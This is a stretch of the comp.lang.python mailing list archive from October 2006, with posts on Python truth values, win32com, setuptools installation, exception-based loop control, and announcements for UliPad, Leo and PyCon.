Message-ID: <877iz9jj95.fsf@pobox.com>

Ben Finney <bignose+hates-spam at benfinney.id.au> writes:

> jjl at pobox.com (John J. Lee) writes:
> 
> > aahz at pythoncraft.com (Aahz) writes:
> > >     if schema.elements.has_key(key) is False:
> >
> > I think I was reading the same code recently (epydoc?) and was also
> > momentarily horrified ;-) until I realized that it was quite
> > deliberately using three-valued logic (True, False, None) for some
> > presumably-sensible reason.
> 
> Apparently a reason unrelated to dict.has_key, which is documented as
> returning only True or False, never None.

Yes, that's true, I didn't really take in this particular example,
just the use of "is <bool constant>".  That's not the way it was used
in docutils, though (do I mean docutils?).


John


From limodou at gmail.com  Mon Oct  9 03:52:39 2006
From: limodou at gmail.com (limodou)
Date: Mon, 9 Oct 2006 15:52:39 +0800
Subject: ANN:UliPad 3.4 Release
Message-ID: <505f13c0610090052g48745affkb08aa93e4e3fdaa4@mail.gmail.com>

What's it?
========

It's an Editor based on wxPython. NewEdit is the old name, and UliPad
is the new name. UliPad uses Mixin and Plugin technique as its
architecture. Most of its classes can be extended via mixin and plugin
components, and finally become an integrity class at
creating the instance. So UliPad is very dynamic. You can write the
new features in new files, and hardly need to modify the existing
code. And if you want to extend the existing classes, you could write
mixins and plugins, and this will be bound to the target class that I
call "Slot Class". This technique will make the changes centralized
and easily managed.

What's new in 3.4
==============

* Bug fix
* Notebook control changed to FlatNotebook
* Ctrl+Enter can directly add new line, just like(End+Enter)
* jQuery support: project setup, auto create comments for functions
* Creating django app's dot file, and see the image in a window
* Multi view of document
* Commands searching and impact mode
* ReStructuredText support: project setup, syntax highlight, html view
and auto update
* Django Template syntax highlight
* ctags support
* move python syntax check plugin into core
* Auto syntax highlight bind and auto-complete file bind in _project

Where to download it?
================

download lastest version 3.4:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad_3.4.zip
also have windows installer:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad3.4.exe
wiki: http://wiki.woodpecker.org.cn/moin/UliPad
svn: http://cvs.woodpecker.org.cn/svn/woodpecker/ulipad/trunk
maillist: http://groups.google.com/group/ulipad

If you have any problem as using UliPad, welcome to join the UliPad
maillist to discuss.

What are its features?
================

* Cross platform

    * based on wxPython, so it can run anywhere that wxPython works,
such as: Windows, Linux.
    * Unicode support.

* Most features of wxStyledTextCtrl(Scintilla)

    * Syntax highlighting, support Python, c/c++, html, django
template, restructured text, ruby, perl, css, javascript, plain text
    * Folding
    * Brace Matching
    * ...

* Extended selection

    * Extended word selection -- You can press Ctrl+?MouseDoubleClick
to select a word including '.'
    * Matched selection -- Select text in quoted chars like: (), [], {}, '', "".
          * For example: a string just like::

                    def func(self, 'This is a test'):
                                  ^


            The '^' char represents caret position in above line. If
you press Ctrl+E, you will select the whole text in (), i.e. "self,
'This is a test'". Something more in Selection Menu.

* Other editing extension

    * Duplicating text -- Just like Vim Ctrl+V, Ctrl+P, and more. You
can duplicate above or below char, word, line
          * which match the leading chars.
    * Quoting text -- Add some quoted chars before and after selected
text, just as: "", '', (), [], {}, and
          * customized string, etc.
    * Text convertion and view -- python -> html, reStructured Text ->
html, textile -> html, and you can output or view
          * the html text in message window, or html view window, or
replace the selected text.
    * Utf-8 encoding auto detect
    * Changing document encoding
    * Auto backup
    * Last session support -- It'll save all the filenames as closed,
and reopen the files as next started.
    * Smart judge the indent char -- It'll auto guess the indent char,
and sets it.
    * Finding in files
    * Bookmark support

* Python support

    * built-in python interactive window based on PyShell, support Unicode
    * Auto completion
    * Function syntax calltips
    * Run, run with argument, stop python source
    * Auto change current path
    * Python class browser
    * Syntax check

* Code snippets

    * You can manage your code snippets with categories, and each
category can have many items. Every item will represent a code
snippet. You can insert an item just by double-clicking on it. It even
supports importing and exporting.

* Simple project support

    * Can create a special file _project, so every file and folder
under the folder which has the _project can be considered as a whole
project.

* Extension mechanism

    * Script -- You can write easy script to manipulate the all
resource of UliPad(NewEdit), just like: text conversion, etc.
    * Plugin -- Customized function. More complex but more powerful.
Can easily merge with UliPad(NewEdit), and can be
          * managed via menu.
    * Shell command -- Add often used shell commands, and execute them.

* Ftp support

    * You can edit remote files through ftp. You can add, rename,
delete, upload, download file/directory.

* Multilanguage support

    * Currently supports two languages: English and Chinese, which can
be auto-detected.

* Shipped many plugins(must be configed as used them before)

    * djangoproj -- user for django development

* Shipped scripts

    * You can find them at UliPad/scripts directory

* Wizard

    * You can make your own wizard template. The wizard can input user
data, combine with template, and output the result. And wizard also
support code framework created. This feature will help you improving
coding efficiency.

* Direcotry Browser

    * Browse multiple directories, and you can really add, delete,
rename directories and files. Double click will open the file in
Editor window.

* Input Assistant

    * Suport user autocomplete file, it can help to input code very
helpful and functional. Just like EditPlus, but may be more powerful.

* Column Editing Mode

    * You can select multilines, and then set a column mode region, so
in any line of this region, if you enter a character, other lines will
also add this character. If you want to deal with multilines as a
similar mode, this functionality will be very handy.

Hope fun!

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From pavlovevidence at gmail.com  Thu Oct 26 00:25:24 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 25 Oct 2006 21:25:24 -0700
Subject: question about True values
In-Reply-To: <1161804934.010376.151330@f16g2000cwb.googlegroups.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
Message-ID: <1161836724.709979.249090@m7g2000cwm.googlegroups.com>


John Coleman wrote:
> Paul Rubin wrote:
> > "John Coleman" <jcoleman at franciscan.edu> writes:
> > > > then "x == 3" is false, but "int(x) == 3" is true.
> > > But then why is 3.0 == 3 true? They are different types.
> >
> > The 3 gets converted to float, like when you say
> >
> >   x = 3.1 + 3
> >
> > the result is 6.1.
>
> Yes - it just seems that there isn't a principled reason for implicitly
> converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to
> boolean in "cat" == true.

Because being true is not the same as equaling True.  == is a test for
equaling, not being.


Carl Banks



From pydecker at gmail.com  Thu Oct 12 08:45:43 2006
From: pydecker at gmail.com (Peter Decker)
Date: Thu, 12 Oct 2006 08:45:43 -0400
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7x4pu9bw3z.fsf@ruckus.brouhaha.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>
Message-ID: <ca55a9900610120545y4252477fuf15a6997d484be34@mail.gmail.com>

On 12 Oct 2006 04:40:32 -0700, Paul Rubin
<"http://phr.cx"@nospam.invalid> wrote:
> Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:
> > > fun median {
> > >  var x = 0.
> > >   while( *p++) {
> > >     if( (*p) > x) x = *p.
> > >   }
> > >   return x.
> > > }
> >
> > I count two variables, p and x.
>
> Also, that finds the maximum, not the median.  I had stopped examining
> it after seeing it used more than one variable.

Um... isn't 'p' the list in question? There is only one variable used
for the calculation of the return value (yes, it's a maximum), and
that's 'x'.
-- 

# p.d.


From istvan.albert at gmail.com  Wed Oct  4 12:10:38 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 4 Oct 2006 09:10:38 -0700
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <1159978238.287743.274940@k70g2000cwa.googlegroups.com>

Jorgen Grahn wrote:

> I have been craving for some similar things for a while, and I'm still not
> sure if they are good ideas, or brain damage caused by studying functional
> programming at Uni.

This is a self correcting situation, as ayone who understands why they
need this  can surely write them using itertools and some simple
classes.

No Child Left Behind.



From http  Wed Oct 11 09:34:31 2006
From: http (Paul Rubin)
Date: 11 Oct 2006 06:34:31 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<mailman.308.1160564020.11739.python-list@python.org>
	<1160570340.981862.212380@c28g2000cwb.googlegroups.com>
	<mailman.314.1160573195.11739.python-list@python.org>
Message-ID: <7xejtf2cyg.fsf@ruckus.brouhaha.com>

"Fredrik Lundh" <fredrik at pythonware.com> writes:
> one, two, overflow ?  or are you saying that the lack of a monopoly means
> market stagnation, no matter how innovative the three big ones are ?

It worked for Ruby on Rails...


From rpdooling at gmail.com  Fri Oct 20 08:49:53 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 20 Oct 2006 05:49:53 -0700
Subject: help with my first use of a class
In-Reply-To: <4538942b$0$31252$426a74cc@news.free.fr>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<4538942b$0$31252$426a74cc@news.free.fr>
Message-ID: <1161348593.257689.36900@i42g2000cwa.googlegroups.com>

Thanks, Bruno. Very educational.

rd

Bruno Desthuilliers wrote:

> Think of a class as both a "blueprint" for objects and a factory
> creating these objects. The class lets you define the attributes and
> behaviors of it's instances.
>
> First, notice that you *don't* need a class here to avoid globals.
> Learning to use function as *functions* (ie: taking arguments and
> returning values) instead of procedure would help:
> 
> Now for an OO version - that won't buy you much IMHO:
>



From Hakusa at gmail.com  Thu Oct 26 20:01:53 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 26 Oct 2006 17:01:53 -0700
Subject: What's the best IDE?
In-Reply-To: <fT40h.7805$5i7.6796@newsreading01.news.tds.net>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net>
Message-ID: <1161907313.479715.95600@m73g2000cwd.googlegroups.com>

I just meant that I was going to bed and didn't have time to do it the
same night. I'll see if I can make it work, use it forever . . . I'll
do it.



From arno at cs.vu.nl  Thu Oct  5 11:09:22 2006
From: arno at cs.vu.nl (Bakker A)
Date: Thu, 5 Oct 2006 15:09:22 GMT
Subject: Restoring override of urllib.URLopener.open_https
Message-ID: <eg3772$cqd@cs.vu.nl>

Hi,

the M2Crypto library overrides the urllib.URLopener.open_https method,
causing a urllib.urlopen to a https: server to fail in my
case. My python is not that strong, so is there a way to set
urllib.URLopener.open_https back to the original code? I prefer not to
modify M2Crypto.

Thanks,
	Arno Bakker
	


From steve at holdenweb.com  Tue Oct 24 21:51:39 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 02:51:39 +0100
Subject: win32com problem
In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
Message-ID: <ehmft9$9ff$2@sea.gmane.org>

cfriedalek at gmail.com wrote:
> I'm interacting with a third party application using python and com.
> However having problems and don't know what to look at next to resolve
> the issue.
> 
> The app. can be driven by VBS. The following VBS code works:
> 
> Set Synergy = CreateObject("synergy.Synergy")
> Synergy.OpenProject "D:/temp/project.mpi"
> Synergy.Project.OpenItemByName "test_bar_3d_6l_pc1", "Study"
> Set Tet = Synergy.StudyDoc.GetFirstTet()
> While Not Tet Is Nothing
>   Str = Tet.ConvertToString() + " "
>   Set Tet = Synergy.StudyDoc.GetNextTet(Tet)
>   MsgBox Str
> WEnd
> 
> This prints "TE1" "TE2" etc
> 
> 
> The "same" code in python returns <COMObject <unknown>> with each call
> to the GetNextTet method.
> 
> import win32com.client
> from win32com.client import Dispatch
> Synergy = win32com.client.Dispatch("synergy.Synergy")
> Synergy.OpenProject("D:/temp/project.mpi")
> Synergy.Project.OpenItemByName("test_bar_3d_6l_pc1", "Study")
> tet = Synergy.StudyDoc.GetFirstTet

tet = Synergy.StudyDoc.GetFirstTet(), perhaps?

> while tet:
>     print str(tet)
>     tet = Synergy.StudyDoc.GetNextTet(tet)
> 
> Any clues on what I'm doing wrong, or how to investigate whether there
> is a bug in win32com or in the third party apps com implementation.
> 

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From ath-admin at vt.edu  Thu Oct 19 14:18:18 2006
From: ath-admin at vt.edu (rick)
Date: Thu, 19 Oct 2006 14:18:18 -0400
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.775.1161281220.11739.python-list@python.org>
References: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt>
	<mailman.775.1161281220.11739.python-list@python.org>
Message-ID: <eh8fqo$6ab$1@solaris.cc.vt.edu>

Tim Chase wrote:

> Well, there you go!  Apparently, your wet paper bag has no "detect a 
> palendrome" exit.  While you're installing such an egress to your soggy 
> dead-tree satchel, you could also provide similar "write a binary 

Glad you guys are enjoying this. We're getting off-topic and I think my 
point is being lost to jest.

As humans, we know very little. But one of the basics of our knowledge 
is order or sequence. 1,2,3,4 is natural so is 4,3,2,1 (count down to 
blast off for example). When we put our shirt on inside-out or watch 
someone moon walk (Micheal Jackson) it's immediately obvious and easy to 
see that the sequence is reversed. Backwards is pure, simple and easy. 
This is not so in Python and it should be.

That's all I have to day about that.


From wuwei23 at gmail.com  Mon Oct  2 22:34:24 2006
From: wuwei23 at gmail.com (alex23)
Date: 2 Oct 2006 19:34:24 -0700
Subject: Problem with ez_setup on a "non-networked" machine
Message-ID: <1159842864.476548.284080@h48g2000cwc.googlegroups.com>

Hey everyone,

I'm trying to install setuptools on a work PC behind an NTLM firewall.
I've tried to use APS as recommended but am still unable to have
anything other than IE talk through firewall. But as I can downloaded
eggs manually, I'm not overly concerned at this point.

So I've tried following the instructions for un-networked installs:
I've downloaded ez_setup.py and setuptools-0.6c3-py2.4.egg, putting the
egg file in the same folder as ez_setup.

No matter what comline args I try, though, it always seems to try to
grab the egg from the Cheeseshop. I naively started off with:

D:\downloads>ez_setup setuptools
Downloading
http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg
Traceback (most recent call last):
  File "D:\downloads\ez_setup.py", line 217, in ?
    main(sys.argv[1:])
  File "D:\downloads\ez_setup.py", line 149, in main
    egg = download_setuptools(version, delay=0)
  File "D:\downloads\ez_setup.py", line 131, in download_setuptools
    src = urllib2.urlopen(url)
  File "C:\Python24\lib\urllib2.py", line 130, in urlopen
    return _opener.open(url, data)
  File "C:\Python24\lib\urllib2.py", line 358, in open
    response = self._open(req, data)
  File "C:\Python24\lib\urllib2.py", line 376, in _open
    '_open', req)
  File "C:\Python24\lib\urllib2.py", line 337, in _call_chain
    result = func(*args)
  File "C:\Python24\lib\urllib2.py", line 1021, in http_open
    return self.do_open(httplib.HTTPConnection, req)
  File "C:\Python24\lib\urllib2.py", line 996, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error (10061, 'Connection refused')>

So reading through the EasyInstall instructions, I find that I need to
stop it from downloading and point it at the local copy instead:

D:\downloads>ez_setup --allow-hosts=None --find-links="D:\downloads"
setuptools
Downloading
http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg
Traceback (most recent call last):
[snip]
urllib2.URLError: <urlopen error (10061, 'Connection refused')>

This I don't understand, as the docs explicitly state,
"--allow-hosts=None prevents downloading altogether", which certainly
isn't the case here. Even using the exact param layout for the example
in the docs doesn't work:

D:\downloads>ez_setup -H None -f D:\downloads setuptools
Downloading
http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.
6c3-py2.4.egg
Traceback (most recent call last):
[etc]

The difference is that I'm using ez_setup instead of easy_install, but
then that's what I'm wanting to end up with out of this exercise. The
docs do state that ez_setup uses the exact same comline args as
easy_install...is this definitely the case?

Any help at all would be greatly appreciated. I feel like I'm missing
something blatantly obvious...

Danke.

- alex23



From david at boddie.org.uk  Sat Oct  7 10:22:03 2006
From: david at boddie.org.uk (David Boddie)
Date: Sat, 07 Oct 2006 16:22:03 +0200
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1>
Message-ID: <9e952$4527b80c$54d1d767$27208@news.chello.no>

On Saturday 07 October 2006 14:59, DarkBlue wrote:

> In linux I use kmail as my email client under KDE,
> if a message comes in the Kontact button in the
> taskbar changes to blue.
> How can I have the same behaviour in a python app ?

You need to activate the window associated with the application.

> I have a python script which runs nicely under linux
> now every so often I want to be notified by some event,
> in this case that a record has been added to a database
> and I want to have the application button in the taskbar
> to change color

If the script is running in a console, you'll need to activate
the window containing the console. I tried doing this by accessing
konsole's DCOP interface, but couldn't find a suitable method to
call. If you know which konsole your script is running in, you might
find that you can raise the window with

  dcop konsole-<pid> konsole-mainwindow#1 raise

where <pid> is the process ID of the konsole. This might have the
effect of causing its taskbar button to change color. You can find
information about the konsole from the KONSOLE_* environment
variables.

It would be good if konsole had a DCOP method that enabled you to
activate its window, or if kicker exported an interface for the
taskbar, or even if kwin had some way of letting you activate a
window given its ID. Unfortunately, I couldn't find methods for
any of these, so you would have to think about using PyKDE to get
at this functionality.

It would be good if someone could prove me wrong on any of this. ;-)

David


From tim.peters at gmail.com  Sun Oct  1 16:16:04 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 1 Oct 2006 16:16:04 -0400
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <slrnehuvov.gim.grahn+nntp@frailea.sa.invalid>
References: <mailman.1027.1159685538.10491.python-list@python.org>
	<pUJTg.130151$zy5.1802764@twister1.libero.it>
	<slrnehuvov.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <1f7befae0610011316s67e047kec871e05b9126c32@mail.gmail.com>

[charlie strauss]
>>> Below is a simple program that will cause python to intermittently
>>> stop executing for a few seconds.  it's 100% reproducible on my
>>> machine.

[Giovanni Bajo]
>> Confirmed with Python 2.4.2 on Windows.

[Jorgen Grahn]
> And Python 2.3.5 on Linux, amd64.  In fact, it causes heavy swapping so it
> will disrupt other processes, too.
>
> I didn't read the code, stupid as I am, but I trust that the behavior
> doesn't match what the code actually tries to do.

No, that's what it does:  as it goes on, it creates an ever-increasing
and unbounded number of immortal objects and lists.  The "time burps"
merely reflect that the more live containers and objects you have, the
longer it takes for cyclic gc to determine that they're not trash.


From fredrik at pythonware.com  Mon Oct 23 09:11:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 15:11:57 +0200
Subject: Script to count files in a folder
References: <1161608629.259769.88490@b28g2000cwb.googlegroups.com>
Message-ID: <ehif2t$4l9$1@sea.gmane.org>

umut.tabak at student.kuleuven.be wrote:

> A batch file creates this file and deletes that file in the same loop.
> This file is intended to start the reading of an input file. After it
> is read batch file deletes this file automatically and on the next loop
> it  will be written and deleted again. With this script I have to count
> the occurences of the file on this specific folder.

what does "count" mean here?

do you want to check if the file is there, or how many times a file with
that name has been created ?

the former is easy (just use the os.path.isfile() function), the latter is not
really possible.

</F> 





From erikwickstrom at gmail.com  Fri Oct  6 19:57:23 2006
From: erikwickstrom at gmail.com (erikcw)
Date: 6 Oct 2006 16:57:23 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.1223.1159934114.10491.python-list@python.org>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
Message-ID: <1160179043.266322.311940@i3g2000cwc.googlegroups.com>

I ended up using len(sys.argv) > 1 for this particular problem.  But I
think slicing is closer to the tool I was looking for.

I found a.has_key(k) or "k in a" for dictionaries - but haven't found
anything similar for lists.  Does it exist?

I guess my example from php would technically be a dictionary in python
and not a list, it would nice to be able to quickly tell if a list key
existed or not.

Thanks!
Erik


Steve Holden wrote:
> erikwickstrom at gmail.com wrote:
> > Hi all,
> >
> > I'm sorry about the newbie question, but I've been searching all
> > afternoon and can't find the answer!
> >
> > I'm trying to get this bit of code to work without triggering the
> > IndexError.
> >
> > import shutil, os, sys
> >
> > if sys.argv[1] != None:
> >     ver = sys.argv[1]
> > else:
> >     ver = '2.14'
> >
> > Of course, whenever I run it, I get list index out of range.
> >
> > I'm coming from the php world where I can do:
> > if $_GET['var'] != Null {
> >   $ver = $_GET['var'];
> > } else {
> >   $ver = '2.14';
> > }
> >
> > Can anyone tell me how to make this work in python?
> >
> Well all the advice you've had so far seems good, but of course the
> simplest way is just to test the length of the sequence before you try
> to address its second element:
>
> if len(sys.argv) > 1:
>    ver = sys.argv[1]
> else:
>    ver = "2.14"
>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From paddy3118 at netscape.net  Fri Oct 13 12:09:20 2006
From: paddy3118 at netscape.net (Paddy)
Date: 13 Oct 2006 09:09:20 -0700
Subject: Loops Control with Python
In-Reply-To: <mailman.446.1160749325.11739.python-list@python.org>
References: <mailman.446.1160749325.11739.python-list@python.org>
Message-ID: <1160755760.629942.130200@m73g2000cwd.googlegroups.com>


Wijaya Edward wrote:
> Can we make loops control in Python?
> What I mean is that whether we can control
> which loops to exit/skip at the given scope.
>
> For example in Perl we can do something like:
>
> OUT:
> foreach my $s1 ( 0 ...100) {
>
>     IN:
>     foreach my $s2 (@array) {
>
>           if ($s1 == $s2) {
>              next OUT;
>           }
>           else {
>               last IN;
>           }
>
>      }
> }
>
> How can we implement that construct with Python?
>

Python does not use Labels. If you want to quit a single loop then look
up the Python break statement. If you want to exit deeply nested
execution then Python has exceptions. this maybe new to a Perl
programmer so please take time to understand Python exceptions.

There follows a function that you can call from an interactive session
to explore one type of use for exceptions  that is rather like your use
of Perl labels shown.

==========================
class Outer(Exception):
  pass
class Inner(Exception):
  pass

def skip_loops(y1 = -1, y2 = -1, y3 = -1):
  ''' Shows how to skip parts of nested loops in Python'''
  try:
    for x0 in range(3):
      try:
        for x1 in range(3):
          for x2 in range(3):
            if x2 == y2:
              raise Inner
            if x2 == y3:
              break
            print (x0,x1,x2)
          if x1 == y1:
            raise Outer
          print (x0,x1)
      except Inner:
        print "Raised exception Inner"
      print (x0,)
  except Outer:
    print "Raised exception Outer"

==========================

>>> skip_loops(y1=2)
(0, 0, 0)
(0, 0, 1)
(0, 0, 2)
(0, 0)
(0, 1, 0)
(0, 1, 1)
(0, 1, 2)
(0, 1)
(0, 2, 0)
(0, 2, 1)
(0, 2, 2)
Raised exception Outer
>>> skip_loops(y2=2)
(0, 0, 0)
(0, 0, 1)
Raised exception Inner
(0,)
(1, 0, 0)
(1, 0, 1)
Raised exception Inner
(1,)
(2, 0, 0)
(2, 0, 1)
Raised exception Inner
(2,)
>>> 


- Paddy.
P.S. Welcome to Python!



From jeremy+complangpython at jeremysanders.net  Mon Oct 30 05:27:09 2006
From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders)
Date: Mon, 30 Oct 2006 10:27:09 +0000
Subject: Python 123 introduction
Message-ID: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>

Here is a brief simple introduction to Python I wrote for a computing course
for graduate astronomers. It assumes some programming experience. Although
it is not a complete guide, I believe this could be a useful document for
other groups to learn Python, so I'm making it available for others to
download, and modify for their own needs (some of the content is site
specific).

HTML version:
 http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123/
Postscript LaTeX output:
 http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.ps
PDF LaTeX output:
 http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.pdf
LaTeX source:
 http://www-xray.ast.cam.ac.uk/~jss/lecture/computing/notes/out/python_123.tex

Jeremy

-- 
Jeremy Sanders
http://www.jeremysanders.net/


From amk at amk.ca  Sun Oct 29 08:47:11 2006
From: amk at amk.ca (A.M. Kuchling)
Date: Sun, 29 Oct 2006 08:47:11 -0500
Subject: PyCon: proposals due by Tuesday 10/31
Message-ID: <20061029134711.GA15254@rogue.amk.ca>

Final reminder: if you want to submit a proposal to PyCon, you should
do it by end of Tuesday, October 31st.

<http://us.pycon.org/TX2007/CallForProposals> for more info

The deadline for tutorials is November 15th:

http://us.pycon.org/TX2007/CallForTutorials

PyCon is the Python community conference, held next February 23-25
near Dallas; a tutorial day will be on February 22.  See
http://us.pycon.org/ for more info.

--amk


From john106henry at hotmail.com  Sun Oct 29 12:33:38 2006
From: john106henry at hotmail.com (John Henry)
Date: 29 Oct 2006 09:33:38 -0800
Subject: ANN: Leo 4.4.2.1 final released
In-Reply-To: <ur31h.321$XF5.101@newsfe06.lga>
References: <ur31h.321$XF5.101@newsfe06.lga>
Message-ID: <1162143217.977375.290570@i42g2000cwa.googlegroups.com>

I downloaded the Windows exe, ran it and a small blank message window
poped up and that was it.

I am still running 2.3.

Edward K. Ream wrote:
> Leo 4.4.2.1 final is now available at:
> http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106
>
> Leo 4.4.2.1 final fixes a recent bug that caused Leo not to create the
> .leoRecentFiles.txt file properly in some situations. There are no known
> significant bugs in this version of Leo.
>
> Leo 4.4.2 final fixes a few bugs and adds support for pymacs.
>
> Leo is a text editor, data organizer, project manager and much more. See:
> http://webpages.charter.net/edreamleo/intro.html
>
> The highlights of Leo 4.4.2:
> ----------------------------
> - You can now store settings in myLeoSettings.leo without fear of those
> settings
>   being changed by cvs updates or in future versions of Leo.
> - Leo's vnode and tnode classes are now completely independent of the rest
> of Leo.
>   Some api's have been changed.  This 'big reorg' and may affect scripts and
> plugins.
> - Leo's vnode and tnode classes can optionally be compatible with ZODB
> databases,
>   i.e., they can optionally derive from ZODB.Persistence.Persistent.
>   See Chapter 17: Using ZODB with Leo for details.
> - The leoOPML plugin defines commands to read and write OPML files.
> - The slideshow plugin allows Leo to run slideshows defined by @slideshow
> and @slide nodes.
> - The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo
> outlines.
> - Much faster navigation through the outline.
> - When focus is in the outline pane, you can move to headlines by typing the
> first letter of headlines.
> - The find command now optionally closes nodes not needed to show the node
> containing the present match.
> - Numerous changes that make Leo easier to use without using a mouse,
> including new commands and options.
> - Many new minibuffer commands now appear in the Cmds menu.
> - A sax parser can now optionally read .leo files.
>
> Links:
> ------
> Leo:        http://webpages.charter.net/edreamleo/front.html
> What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html
> Home:       http://sourceforge.net/projects/leo/
> Download:   http://sourceforge.net/project/showfiles.php?group_id=3458
> CVS:        http://leo.tigris.org/source/browse/leo/
> Leo's Wiki: http://leo.zwiki.org/FrontPage
> Wikipedia:  http://en.wikipedia.org/wiki/Leo_%28text_editor%29
> Quotes:     http://webpages.charter.net/edreamleo/testimonials.html
>
> --------------------------------------------------------------------
> Edward K. Ream   email:  edreamleo at charter.net
> Leo: http://webpages.charter.net/edreamleo/front.html
> --------------------------------------------------------------------



From fredrik at pythonware.com  Wed Oct 11 02:16:27 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 08:16:27 +0200
Subject: elementsoap with Python 2.5
In-Reply-To: <3M-dncTufqJUxbHYnZ2dnUVZ_vCdnZ2d@comcast.com>
References: <3M-dncTufqJUxbHYnZ2dnUVZ_vCdnZ2d@comcast.com>
Message-ID: <egi27r$g9b$1@sea.gmane.org>

Steven Bethard wrote:

> I was trying to get elementsoap_ working with just xml.etree from Python 
> 2.5 (and no standalone elementtree installation).  I think I got 
> everything working by changing the imports and copying in the 
> FancyTreeBuilder class (since only TreeBuilder and XMLTreeBuilder are in 
> the xml.etree.ElementTree module).  I've attached the diff.  Does this 
> seem like the right approach?

the really correct approach would be to rewrite the code to use the 
"iterparse" API instead.

FancyTreeBuilder relies on various internals, but your copy-and-paste 
fix should work just fine for Python 2.5 and/or ElementTree 1.2.

</F>



From fredrik at pythonware.com  Sat Oct  7 04:11:13 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 07 Oct 2006 10:11:13 +0200
Subject: dictionary containing a list
In-Reply-To: <eg7kb1$ve9$1@sea.gmane.org>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>	<1160172055.962140.180110@b28g2000cwb.googlegroups.com>
	<eg7kb1$ve9$1@sea.gmane.org>
Message-ID: <eg7nf1$6ip$1@sea.gmane.org>

Steve Holden wrote:

> One of the fascinating things about c.l.py is that sometimes a questin 
> will be posted that makes almost no sense to me, and somebody else will 
> casually read the OP's mind, home in on the issue and provide a useful 
> and relevant answer.

if the assertions made by some about the documentation's unsuit-
ability for some are in fact true, that's probably some kind of
natural selection in action.

</F>



From fredrik at pythonware.com  Thu Oct 19 13:47:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
